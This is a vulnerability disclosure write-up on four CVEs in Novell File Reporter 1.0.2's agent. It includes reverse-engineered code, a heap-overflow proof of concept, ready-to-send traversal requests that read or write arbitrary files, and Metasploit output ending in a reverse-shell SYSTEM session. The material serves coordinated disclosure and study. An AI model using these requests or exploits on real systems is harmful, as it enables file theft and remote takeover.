Last updated at Thu, 28 Dec 2023 18:40:50 GMT

Today, we present to you several new vulnerabilities discovered in Novell File Reporter 1.0.2, which "helps organizations more effectively manage network storage by providing administrators the ability to access comprehensive network storage information so that they can determine the best means of addressing their storage content". Following our standard disclosure policy, we notified both Novell and CERT.

Vulnerabilities Summary

The four vulnerabilities presented have been found in the same component, NFRAgent.exe, which communicates with the Agent component over HTTPS on TCP port 3037:

  • CVE-2012-4956 - Heap Overflow: When handling requests of name “SRS”, the NFRAgent.exe fails to generate a response in a secure way, copying user controlled data into a fixed-length buffer in the heap without bounds checking. This vulnerability can result in remote code execution under the context of the SYSTEM account.

  • CVE-2012-4957 - Arbitrary File Retrieval: When handling requests on “/FSF/CMD” for records with NAME “SRS”, OPERATION “4” and CMD “103” the NFRAgent.exe allows a remote unauthenticated user to retrieve arbitrary remote files, specified with the tag “PATH”, with SYSTEM privileges.

  • CVE-2012-4958 - Arbitrary File Retrieval: When handling requests on “/FSF/CMD” for records with NAME “FSFUI” and UICMD “126” the NFRAgent.exe allows a remote unauthenticated user to retrieve arbitrary remote text files, specified with the tag “FILE”, with SYSTEM privileges.

  • CVE-2012-4959 - Arbitrary File Upload: When handling requests on “/FSF/CMD” for records with NAME “FSFUI” and UICMD “130” the NFRAgent.exe allows a remote unauthenticated user to upload files to the host, specified with the tag “FILE”, with SYSTEM privileges. It allows to execute remote code with SYSTEM privileges.

Disclosure Timeline

Date Description
2012-09-14 Initial discovery by Juan Vazquez
2012-09-14 Metasploit modules written
2012-09-17 Initial disclosure to Novell
2012-11-06 Disclosure to US CERT
2012-11-16 Public disclosure and Metasploit module published

Technical Analysis

CVE-2012-4956 - Heap Overflow

Static analysis

The NFSAgent.exe allows communication with the Agent component over HTTPS on port TCP 3037. The requests against the Agent component are XML messages, containing “records” to be processes by the Agent. The Agent handles different types of record, one of them is “SRS”:

.text:00404BE9                add    esp, 0Ch
.text:00404BEC                push    14h            ; length_arg_C
.text:00404BEE                lea    eax, [ebp+record_name_var_28]
.text:00404BF1                push    eax            ; result_arg_8
.text:00404BF2                push    offset aName    ; "NAME"
.text:00404BF7                mov    ecx, [ebp+message_arg_8]
.text:00404BFA                add    ecx, 20h
.text:00404BFD                push    ecx            ; xml_message_arg_0
.text:00404BFE                mov    ecx, [ebp+var_2C]
.text:00404C01                call    parse_tag_sub_40A760 ; search tag "NAME" in the xml_message_arg_0 and store contents int he "record_name_var_28" variable
.text:00404C06                movzx  edx, al
.text:00404C09                test    edx, edx
.text:00404C0B                jz      short loc_404C8B
.text:00404C0D                push    offset aSrs_2  ; "SRS"
.text:00404C12                lea    eax, [ebp+record_name_var_28]
.text:00404C15                push    eax            ; char *
.text:00404C16                call    _strcmp        ; compares the contents of the "NAME" element in the xml message from the request with the "SRS" string.
.text:00404C1B                add    esp, 8
.text:00404C1E                test    eax, eax
.text:00404C20                jnz    short loc_404C38 ; if not "SRS" name check others, if yes, handle it...
.text:00404C22                mov    ecx, [ebp+message_arg_8]
.text:00404C25                push    ecx            ; void *
.text:00404C26                mov    edx, [ebp+arg_4]
.text:00404C29                push    edx            ; int
.text:00404C2A                mov    eax, [ebp+arg_0]
.text:00404C2D                push    eax            ; int
.text:00404C2E                call    handle_SRS_sub_4048D0 ; handle the XML message with the RECORD of NAME "SRS"

In the function which handles records of name “SRS”, named “handle_SRS_sub_408D0”, a fixed-length buffer is created in the heap with “malloc()”:

.text:00404903                push    0C350h        ; size_t
.text:00404908                call    _malloc
.text:0040490D                add    esp, 4
.text:00404910                mov    [ebp+response_var_8], eax

This buffer is used to store the response which is going to be returned to the user after handling the “SRS” record. An “SRS” record can request different types of operation, by using the tags “OPERATION” and “CMD”. In this report, the “OPERATION” with id 7, and “CMD” 4, has been used. This operation allows a user to specify a set of volumes, and retrieve the free space for everyone. The format of the request XML message is this:

<RECORD>  
    <NAME>SRS</NAME>  
    <OPERATION>4</OPERATION>  
    <CMD>7</CMD>  
    <VOL>vol_1_name</VOL>  
    <VOL>vol_2_name</VOL>  
</RECORD> 

While the analysis of the current vulnerability, has been discovered that the response is generated from the user request, copying the contents of the requested “VOL” elements to the fixed-length buffer in the heap without bounds checking.

Note: maybe other operations requested via “SRS” records can be used to trigger a heap overflow. It has not been checked.

The operation is handled by the function named “SRS_7_4_sub_4082E0”, which gets two arguments, the XML message for the RECORD to handle and the pointer to the vulnerable heap buffer allocated to store the response:

.text:004082E0 ; int __stdcall SRS_7_4_sub_4082E0(char *xml_message_arg_0, char *result_response_arg_4)

The “VOL” elements (the volume names) are processed by a loop like this in the “SRS_7_4_sub_4082E0” function:

for ( vol_object_var_254 = v25; vol_object_var_254; vol_object_var_254 = *(_DWORD *)(vol_object_var_254 + 12) )  
{  
  parse_tag_sub_40A760((void *)v15, *(const char **)vol_object_var_254, (int)"VOL", &vol_name_var_20c, 0x1F4u); // get VOL element  
  volume_fspace_vol_35C = handle_volume_sub_4081E0(&vol_name_var_20c); // Retrieve Volume Free Space  
  volume_fscape_var_358 = v2;  
  vol_name_html_encode_var_494 = html_encode_sub_40B490(&vol_name_var_20c); // HTML Encode the volume name (user controlled data)  
  if ( vol_name_html_encode_var_494 )  
  { // If the volume name has been HTML Encoded  
  v3 = volume_fscape_var_358;  
  v4 = volume_fspace_vol_35C;  
  v5 = vol_name_html_encode_var_494;  
  v6 = strlen(result_response_arg_4);  
  sprintf(&result_response_arg_4[v6], "<VOL><NAME>%s</NAME><FSPACE>%I64d</FSPACE></VOL>", v5, v4, v3); // Vulnerability!!! sprintf user controlled data (volume name) to the end of the fix-length buffer in the heap without bound checking  
  free(vol_name_html_encode_var_494);  
  vol_name_html_encode_var_494 = 0;  
  }  
  else  
  { // If the volume name hasn’t been HTML Encoded  
  v7 = volume_fscape_var_358;  
  v8 = volume_fspace_vol_35C;  
  v9 = strlen(result_response_arg_4);  
  sprintf(  
  &result_response_arg_4[v9], // Vulnerability!!! sprintf user controlled data (volume name) to the end of the fix-length buffer in the heap without bound checking  
  "<VOL><NAME>%s</NAME><FSPACE>%I64d</FSPACE></VOL>",  
  &vol_name_var_20c,  
  v8,  
  v7);  
  }  
}  

In this loop is where the buffer overflow occurs, the results of the VOL handling are attached to the response, stored in the fixed-length allocated buffer in the heap, with a sprintf() call. For every sprintf() the volume name is controlled by the user, specified in the elements of the request.

Proof of Concept and Dynamic Analysis

The vulnerability can be triggered by creating a specially crafted message, with a record of name “SRS”, specifying the operation “4” and cmd “7”, including a huge number of volumes (“VOL” elements). The ruby code used to generate the crafted message is this:

data = "4D14AED3B61B0DAB893355B8331CC71A" # Checksum
data << "<RECORD>"
data << "<NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>7</CMD>" # Operation
data << "<VOL>AAAAAAAAAA</VOL>" * 0xc35 # Volumes
data << "</RECORD>"

According to the static analysis presented before, when handling the crafted message, a fixed-length buffer of 0xc350 bytes to store the response is created in the heap:

0:007> g
Breakpoint 0 hit
eax=009e68b8 ebx=003f3bf8 ecx=b85645ca edx=7c90e4f4 esi=003f3bf8 edi=00000000
eip=00404908 esp=0120ff4c ebp=0120ff58 iopl=0        nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000202
NFRAgent+0x4908:
00404908 e84cef0300      call    NFRAgent+0x43859 (00443859)
0:007> dd esp L1
0120ff4c  0000c350

The allocated buffer is on 0x1220110:

0:007> p
eax=01220110 ebx=003f5e20 ecx=7c9101bb edx=009e0608 esi=003f5e20 edi=00000000
eip=0040490d esp=0120ff4c ebp=0120ff58 iopl=0        nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000202
NFRAgent+0x490d:
0040490d 83c404          add    esp,4
0:007> !heap -p -a eax
    address 01220110 found in
    _HEAP @ 9e0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        01220108 186b 0000  [01]  01220110    0c350 - (busy)

The results for every volume are attached to the fixed-length heap buffer via the sprintf at 004085C5:

Breakpoint 1 hit
eax=0122013e ebx=003f5e20 ecx=01220110 edx=c7ff3d52 esi=00479f89 edi=0120f1a1
eip=004085c5 esp=0120eec8 ebp=0120f3c0 iopl=0        nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000202
NFRAgent+0x85c5:
004085c5 e84ea70300      call    NFRAgent+0x42d18 (00442d18)

The result of the sprintf is going to be stored at 0122013e:

0:007> dd esp L1
0120eec8  0122013e

The address belongs to the heap buffer:

0:007> !heap -p -a 0122013e
    address 0122013e found in
    _HEAP @ 9e0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        01220108 186b 0000  [01]  01220110    0c350 - (busy)

The string which is going to be sprintfed contains the volume name (user controlled data):

0:007> da poi(esp+4)
0047a040  "<VOL><NAME>%s</NAME><FSPACE>%I64"
0047a060  "d</FSPACE></VOL>"
0:007> da poi(esp+8)
01250208  "AAAAAAAAAA"

After the first sprint, the contents of the heap vulnerable buffer are:

0:007> da 01220110
01220110  "<RESULT><VERSION>1</VERSION><STA"
01220130  "TUS>0</STATUS><VOL><NAME>AAAAAAA"
01220150  "AAA</NAME><FSPACE>0</FSPACE></VO"
01220170  "L>"

At this point, the contents of the heap, just after the vulnerable buffer, are presented:

0:007> !heap -p -a 01220110+0c350
    address 0122c460 found in
    _HEAP @ 9e0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0122c460 0003 0000  [01]  0122c468    00010 - (busy)
0:007> db 0122c460 L8
0122c460  03 00 6b 18 19 01 08 01 
0:007> db 0122c468 L10
0122c468  80 c4 22 01 16 00 00 00-d0 9f 9e 00 a0 c4 22 01  .."...........".

After the offending loop the contents after the vulnerable heap buffer have been overwritten. For the chunk just after our vulnerable buffer, both heap chunk metadata and contents have been overflowed:

0:007> g
Breakpoint 0 hit
eax=00000000 ebx=003f5e20 ecx=00443085 edx=012501b0 esi=00479f89 edi=0120f1a1
eip=00408645 esp=0120eedc ebp=0120f3c0 iopl=0        nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000246
NFRAgent+0x8645:
00408645 c7852cfbffff00000000 mov dword ptr [ebp-4D4h],0 ss:0023:0120eeec=03ee2001
0:007> !heap -p -a 01220110
    address 01220110 found in
    _HEAP @ 9e0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        01220108 186b 0000  [01]  01220110    0c350 - (busy)
0:007> !heap -p -a 01220110+0xc350
    address 0122c460 found in
    _HEAP @ 9e0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0122c460 3e45 0000  [46]  0122c468    1f220 - (free)
0:007> db 0122c460 L8
0122c460  45 3e 30 3c 2f 46 53 50                          E>0</FSP
0:007> db 0122c468 L10
0122c468  41 43 45 3e 3c 2f 56 4f-4c 3e 3c 56 4f 4c 3e 3c  ACE></VOL><VOL><

And finally, with the proof of concept, the NFRAgent.exe crashes because tries to dereference a overwritten pointer:

0:007> g
(9ac.2f4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000016 ebx=003f5e20 ecx=00443085 edx=3c3e4c4f esi=00479f89 edi=0120f1a1
eip=00405a70 esp=0120eec8 ebp=0120eed0 iopl=0        nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00010202
NFRAgent+0x5a70:
00405a70 833a00          cmp    dword ptr [edx],0    ds:0023:3c3e4c4f=????????

In order to assist testing of the vulnerability a metasploit module has been developed:


msf > use auxiliary/dos/http/novell_file_reporter_heap_bof 
msf  auxiliary(novell_file_reporter_heap_bof) > set RHOST 192.168.1.150
RHOST => 192.168.1.150
msf  auxiliary(novell_file_reporter_heap_bof) > show options

Module options (auxiliary/dos/http/novell_file_reporter_heap_bof):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        Use a proxy chain
   RHOST    192.168.1.150    yes       The target address
   RPORT    3037             yes       The target port
   SSL      true             yes       Use SSL
   VHOST                     no        HTTP server virtual host
msf  auxiliary(novell_file_reporter_heap_bof) > run

[*] 192.168.1.150:3037 - Triggering the Heap Overflow to cause DoS...
[+] 192.168.1.150:3037 - NFR Agent didn't answer, DoS was successful
[*] Auxiliary module execution completed
msf  auxiliary(novell_file_reporter_heap_bof) > 

CVE-2012-4957 - Arbitrary File Retrieval

The NFSAgent.exe allows communication with the Agent component over HTTPS on port TCP 3037. The requests against the Agent component are XML messages, containing “records” to be processes by the Agent. The vulnerability occurs when the NFRAgent.exe handles requests on the URL “/FSF/CMD”. When handling RECORDs with NAME “SRS”, OPERATION “4” and CMD “103” the following code manages the requests:

.text:00408ACA       
.text:00408ACA                push    104h          ; jumptable 0040878F case 99
.text:00408ACF                lea    eax, [ebp+file_path_var_110]
.text:00408AD5                push    eax            ; result_arg_8
.text:00408AD6                push    offset aPath_1 ; "PATH"
.text:00408ADB                mov    ecx, [ebp+xml_message_arg_8]
.text:00408ADE                push    ecx            ; xml_message_arg_0
.text:00408ADF                mov    ecx, [ebp+var_9D4]
.text:00408AE5                call    parse_tag_sub_40A760 ; retrieve the contents of the PATH element
.text:00408AEA                movzx  edx, al
.text:00408AED                test    edx, edx
.text:00408AEF                jz      short loc_408B52
.text:00408AF1                mov    eax, [ebp+arg_0]
.text:00408AF4                push    eax
.text:00408AF5                mov    ecx, [ebp+arg_4]
.text:00408AF8                push    ecx
.text:00408AF9                push    0
.text:00408AFB                push    0
.text:00408AFD                push    offset aApplicationOct ; "application/octet-stream"
.text:00408B02                lea    edx, [ebp+file_path_var_110]
.text:00408B08                push    edx
.text:00408B09                call    SNISendDocResponse ; retrieve file contents and send back response
.text:00408B0E                add    esp, 18h
.text:00408B11                mov    [ebp+result_operation_var_9C1], al
.text:00408B17                movzx  eax, [ebp+result_operation_var_9C1]
.text:00408B1E                test    eax, eax
.text:00408B20                jz      short error_loc_408B3A
.text:00408B22                lea    ecx, [ebp+file_path_var_110]
.text:00408B28                push    ecx
.text:00408B29                push    offset aAddtaskSuccess ; "AddTask: Successfully started send of f"...
.text:00408B2E                push    0
.text:00408B30                call    write_log_sub_406080
.text:00408B35                add    esp, 0Ch
.text:00408B38                jmp    short loc_408B50
.text:00408B3A ; ---------------------------------------------------------------------------
.text:00408B3A
.text:00408B3A error_loc_408B3A:                      ; CODE XREF: parse_cmd_sub_4086B0+470j
.text:00408B3A                lea    edx, [ebp+file_path_var_110]
.text:00408B40                push    edx
.text:00408B41                push    offset aAddtaskFailedT ; "AddTask: Failed to send file (%s)."
.text:00408B46                push    0
.text:00408B48                call    write_log_sub_406080
.text:00408B4D                add    esp, 0Ch

In the code presented above the file path is retrieved from the PATH element of the XML request. The filename is used to call the function SNISendDocResponse() provided by the ccs.dll component, which uses the provided filename to call directly “fopen” and read the contents.

Exploitation

In order to exploit the vulnerability the user must build a XML message like this one:

<RECORD>  
    <NAME>SRS</NAME>  
    <OPERATION>4</OPERATION>  
    <CMD>103</CMD>  
    <PATH>c:\\boot.ini</PATH>  
</RECORD>  

The file to read must be specified in the element. The message must be sent through HTTPS to the PATH “/FSF/CMD”.

The HTTP body must include a concatenation of a MD5 checksum of the xml message and the xml message. In order to generate a correct MD5 checksum of the xml message, it must be generated from a string with the next format: “SRS” XML MESSAGE “SERVER”, where “SRS” and “SERVER” are static strings.

As example the next HTTP request allows to retrieve the contents of the “C:\boot.ini” file:

POST /FSF/CMD HTTP/1.1
Host: 192.168.1.137:2037
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: text/xml
Content-Length: 127
 
 
FD97A41459FD495A43E3BF922B40DB23<RECORD><NAME>SRS</NAME><OPERATION>4</OPERATION> <CMD>103</CMD><PATH>c:\boot.ini</PATH></RECORD>

The contents of the “c:\boot.ini” are returned back to the user:

HTTP/1.1 200 OK
MIME-version: 1.0
Connection: close
Content-Type: application/octet-stream
Content-Length: 211
 
 
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect

In order to assist testing of the vulnerability a metasploit module has been developed:


msf > use auxiliary/scanner/http/novell_file_reporter_srs_fileaccess 
msf  auxiliary(novell_file_reporter_srs_fileaccess) > set RHOSTS 192.168.1.150
RHOSTS => 192.168.1.150
msf  auxiliary(novell_file_reporter_srs_fileaccess) > show options

Module options (auxiliary/scanner/http/novell_file_reporter_srs_fileaccess):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        Use a proxy chain
   RFILE    c:\boot.ini      yes       Remote File
   RHOSTS   192.168.1.150    yes       The target address range or CIDR identifier
   RPORT    3037             yes       The target port
   SSL      true             yes       Use SSL
   THREADS  1                yes       The number of concurrent threads
   VHOST                     no        HTTP server virtual host

msf  auxiliary(novell_file_reporter_srs_fileaccess) > run

[*] 192.168.1.150:3037 - Retrieving the file contents
[*] 192.168.1.150:3037 - c:\boot.ini saved in /Users/juan/.msf4/loot/20121109155445_default_192.168.1.150_novell.filerepor_923267.ini
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(novell_file_reporter_srs_fileaccess) > cat /Users/juan/.msf4/loot/20121109155445_default_192.168.1.150_novell.filerepor_923267.ini[*] exec: cat /Users/juan/.msf4/loot/20121109155445_default_192.168.1.150_novell.filerepor_923267.ini

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
 

CVE-2012-4958 - Arbitrary File Retrieval

The NFSAgent.exe allows communication with the Agent component over HTTPS on port TCP 3037. The requests against the Agent component are XML messages, containing “records” to be processes by the Agent.  The vulnerability occurs when the NFRAgent.exe handles requests on the URL “/FSF/CMD”.  When handling RECORDs with NAME “FSFUI” and UICMD “126” the request is managed by the function named as read_file_sub_409FA0() whose decompiled pseudocode is presented below:

char *__stdcall read_file_sub_409FA0(char *xml_message_arg_0, char *a2)  
{  
  size_t v2; // eax@1  
  size_t v3; // eax@3  
  FILE *v4; // ST0C_4@5  
  size_t v5; // eax@5  
  size_t v6; // eax@5  
  char *result; // eax@5  
  char result_arg_8[260]; // [sp+Ch] [bp-190h]@1  
  int v9; // [sp+110h] [bp-8Ch]@1  
  size_t v10; // [sp+114h] [bp-88h]@5  
  FILE *v11; // [sp+118h] [bp-84h]@2  
  char v12; // [sp+11Ch] [bp-80h]@1  
  char v13; // [sp+154h] [bp-48h]@1  
  char v14; // [sp+158h] [bp-44h]@1  
  __int16 v15; // [sp+194h] [bp-8h]@1  
  char v16; // [sp+196h] [bp-6h]@1  
  
  
  memcpy(&v14, "<RESULT><VERSION>1</VERSION><STATUS>0</STATUS><CFILE><![CDATA[", 0x3Cu);  
  v15 = *(_WORD *)"A[";  
  v16 = aResultVersi_19[62];  
  memcpy(&v12, "<RESULT><VERSION>1</VERSION><STATUS>14</STATUS></RESULT>", 0x38u);  
  v13 = aResultVersi_20[56];  
  v9 = sub_40B670();  
  sub_402200(result_arg_8);  
  strcat(result_arg_8, "\\");  
  v2 = strlen(result_arg_8);  
  // The file path is retrieved from the FILE element of the XML request.  
  if ( (unsigned __int8)parse_tag_sub_40A760(xml_message_arg_0, (int)"FILE", &result_arg_8[v2], 256) )  
  {  
    // The FILE element can specify an absolute PATH  
    v11 = fopen(result_arg_8, "rb");  
    if ( !v11 )  
    {  
      strcpy(result_arg_8, Buffer);  
      strcat(result_arg_8, "\\");  
      v3 = strlen(result_arg_8);  
      //Or use a directory traversal to access with a relative PATH  
      parse_tag_sub_40A760(xml_message_arg_0, (int)"FILE", &result_arg_8[v3], 256);  
      v11 = fopen(result_arg_8, "rb");  
    }  
    if ( v11 )  
    {  
      strcpy(a2, &v14);  
      v4 = v11;  
      v5 = strlen(&v14);  
      // The contents of the specified file are read and attached to the response (a2)  
      v10 = fread(&a2[v5], 1u, 0xAFC8u, v4);  
      fclose(v11);  
      v6 = strlen(&v14);  
      result = strcpy(&a2[v10] + v6, "]]></CFILE></RESULT>");  
    }  
    else  
    {  
      result = strcpy(a2, &v12);  
    }  
  }  
  else  
  {  
    result = strcpy(a2, &v12);  
  }  
  return result;  
}  

In the code presented above the file path is retrieved from the FILE element of the XML request. The filename is used to call the function fopen() and then fread() is used to read the file contents. Finally the contents are attached to the response contents which will be returned back to the user.

Exploitation

In order to exploit the vulnerability the user must build a XML message like this one:

<RECORD>  
    <NAME>FSFUI</NAME>  
    <UICMD>126</UICMD>  
    <FILE>..\..\..\..\..\..\boot.ini</FILE>  
</RECORD>  

The file to read must be specified in the element. The message must be sent through HTTPS to the PATH “/FSF/CMD”.

The HTTP body must include a concatenation of a MD5 checksum of the xml message and the xml message. In order to generate a correct MD5 checksum of the xml message, it must be generated from a string with the next format: “SRS” XML MESSAGE “SERVER”, where “SRS” and “SERVER” are static strings.

As example the next HTTP request allows to retrieve the contents of the “C:\boot.ini” file:

POST /FSF/CMD HTTP/1.1
Host: 192.168.1.137:2037
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: text/xml
Content-Length: 124
 
 
562A72C2A891EC182BD76414BBB04C88<RECORD><NAME>FSFUI</NAME><UICMD>126</UICMD><FIL E>..\..\..\..\..\..\boot.ini</FILE></RECORD>

The contents of the “c:\boot.ini” are returned back to the user:

HTTP/1.1 200 OK
MIME-version: 1.0
Connection: close
Content-Type: text/xml
Content-Length: 293
 
 
<RESULT><VERSION>1</VERSION><STATUS>0</STATUS><CFILE><![CDATA[[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
]]></CFILE></RESULT>

In order to assist testing of the vulnerability a metasploit module has been developed:

 
msf > use auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess 
msf  auxiliary(novell_file_reporter_fsfui_fileaccess) > set RHOSTS 192.168.1.150
RHOSTS => 192.168.1.150
msf  auxiliary(novell_file_reporter_fsfui_fileaccess) > show options

Module options (auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DEPTH    6                yes       Traversal depth
   Proxies                   no        Use a proxy chain
   RFILE    boot.ini         yes       Remote File
   RHOSTS   192.168.1.150    yes       The target address range or CIDR identifier
   RPORT    3037             yes       The target port
   SSL      true             yes       Use SSL
   THREADS  1                yes       The number of concurrent threads
   VHOST                     no        HTTP server virtual host

msf  auxiliary(novell_file_reporter_fsfui_fileaccess) > run

[*] 192.168.1.150:3037 - Retrieving the file contents
[*] 192.168.1.150:3037 - boot.ini saved in /Users/juan/.msf4/loot/20121109154657_default_192.168.1.150_novell.filerepor_624595.ini
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(novell_file_reporter_fsfui_fileaccess) > cat /Users/juan/.msf4/loot/20121109154657_default_192.168.1.150_novell.filerepor_624595.ini
[*] exec: cat /Users/juan/.msf4/loot/20121109154657_default_192.168.1.150_novell.filerepor_624595.ini

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
 

CVE-2012-4959 - Arbitrary File Upload

The NFSAgent.exe allows communication with the Agent component over HTTPS on port TCP 3037. The requests against the Agent component are XML messages, containing “records” to be processes by the Agent.  The vulnerability occurs when the NFRAgent.exe handles requests on the URL “/FSF/CMD”.  When handling RECORDs with NAME “FSFUI” and UICMD “130” the request is managed by the function named as read_file_sub_40A190 () whose decompiled pseudocode is presented below:

int __stdcall write_file_sub_40A190(char *xml_message_arg_0, char *a2)  
{  
  size_t v2; // eax@1  
  int result; // eax@6  
  char result_arg_8[256]; // [sp+Ch] [bp-150h]@1  
  int v5; // [sp+10Ch] [bp-50h]@4  
  void *v6; // [sp+110h] [bp-4Ch]@3  
  int v7; // [sp+114h] [bp-48h]@1  
  FILE *v8; // [sp+118h] [bp-44h]@2  
  char v9; // [sp+11Ch] [bp-40h]@1  
  char v10; // [sp+154h] [bp-8h]@1  
  
  
  memcpy(&v9, "<RESULT><VERSION>1</VERSION><STATUS>%d</STATUS></RESULT>", 0x38u);  
  v10 = aResultVersi_21[56];  
  v7 = sub_40B670();  
  strcpy(result_arg_8, Buffer);  
  strcat(result_arg_8, "\\");  
  v2 = strlen(result_arg_8);  
  // The contents of the element <FILE> from the XML request are used to build the file path  
  // (stored in the result_arg_8 variable  
  if ( (unsigned __int8)parse_tag_sub_40A760(xml_message_arg_0, (int)"FILE", &result_arg_8[v2], 256) )  
  {  
    // The file path built from the <FILE> element is used in “fopen”. Using a directory  
    // traversal an arbitrary file can be opened in write mode.  
    v8 = fopen(result_arg_8, "wb");  
    if ( v8 )  
    {  
      sprintf(a2, &v9, 0);  
      // The contents between the tags “<![CDATA[“ and “]]>” are parsed from the user XML  
      // request.  
      v6 = (void *)sub_403F40(xml_message_arg_0, "<![CDATA[");  
      if ( v6 )  
      {  
        v6 = (char *)v6 + 9;  
        v5 = sub_403F40((char *)v6, "]]>");  
        if ( v5 )  
          // The parsed contents are written to the specified file.  
          fwrite(v6, 1u, v5 - (_DWORD)v6, v8);  
      }  
      result = fclose(v8);  
    }  
    else  
    {  
      result = sprintf(a2, &v9, 14);  
    }  
  }  
  else  
  {  
    result = sprintf(a2, &v9, 14);  
  }  
  
  
  return result;  
} 

In the code presented above the file path is retrieved from the FILE element of the XML request. The filename is used to call the function fopen(). Using a path traversal is possible to open or create any file in the filesystem with SYSTEM privileges. After that, the request is parsed for the “” tags and the contents between them are written to the file with “fwrite()”.

Exploitation

In order to exploit the vulnerability the user must build a XML message like this one:

<RECORD>  
    <NAME>FSFUI</NAME>  
    <UICMD>130</UICMD>  
    <FILE>..\..\..\..\..\..\test.txt</FILE><![CDATA[test]]>  
</RECORD>  

The file to write must be specified in the element.  The contents with a “” element. The message must be sent through HTTPS to the PATH “/FSF/CMD”.

The HTTP body must include a concatenation of a MD5 checksum of the xml message and the xml message. In order to generate a correct MD5 checksum of the xml message, it must be generated from a string with the next format: “SRS” XML MESSAGE “SERVER”, where “SRS” and “SERVER” are static strings.

As example the next HTTP request allows to write the string “metasploit” in the “C:\msf.txt” file:

POST /FSF/CMD HTTP/1.1
Host: 192.168.1.137:2037
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: text/xml
Content-Length: 145
 
 
3CFD5A649F67C0522A7FE1EDAC0382BF<RECORD><NAME>FSFUI</NAME><UICMD>130</UICMD><FILE>..\..\..\..\..\..\msf.txt</FILE><![CDATA[metasploit]]></RECORD>

If the file is written correctly a response with STATUS 0 is returned back to the user:

HTTP/1.1 200 OK
MIME-version: 1.0
Connection: close
Content-Type: text/xml
Content-Length: 55
 
 
<RESULT><VERSION>1</VERSION><STATUS>0</STATUS></RESULT>

In order to achieve remote code execution in versions smaller than Windows Vista, such as Windows XP SP3 and Windows 2003 SP2, the Windows Management Instrumentation has been used. A Metasploit module has been developed:

 
msf > use exploit/windows/novell/file_reporter_fsfui_upload 
msf  exploit(file_reporter_fsfui_upload) > set RHOST 192.168.1.150 
RHOST => 192.168.1.150
msf  exploit(file_reporter_fsfui_upload) > show options

Module options (exploit/windows/novell/file_reporter_fsfui_upload):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DEPTH    6                yes       Traversal depth
   Proxies                   no        Use a proxy chain
   RHOST    192.168.1.150    yes       The target address
   RPORT    3037             yes       The target port
   SSL      true             yes       Use SSL
   VHOST                     no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf  exploit(file_reporter_fsfui_upload) > exploit

[*] Started reverse handler on 192.168.1.129:4444 
[*] Encoding payload into vbs...
[*] Generating mof file...
[*] 192.168.1.150:3037 - Uploading the VBS payload
[*] 192.168.1.150:3037 - VBS payload successfully uploaded
[*] 192.168.1.150:3037 - Uploading the MOF file
[*] 192.168.1.150:3037 - MOF file successfully uploaded
[*] Sending stage (752128 bytes) to 192.168.1.150
[*] Meterpreter session 1 opened (192.168.1.129:4444 -> 192.168.1.150:1133) at 2012-11-09 16:12:57 +0100
[!] Deleting the vbs payload "wGYrt.vbs" ...
[!] Deleting the mof file "lOpOwwjuW.mof" ...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.150 - Meterpreter session 1 closed.  Reason: User exit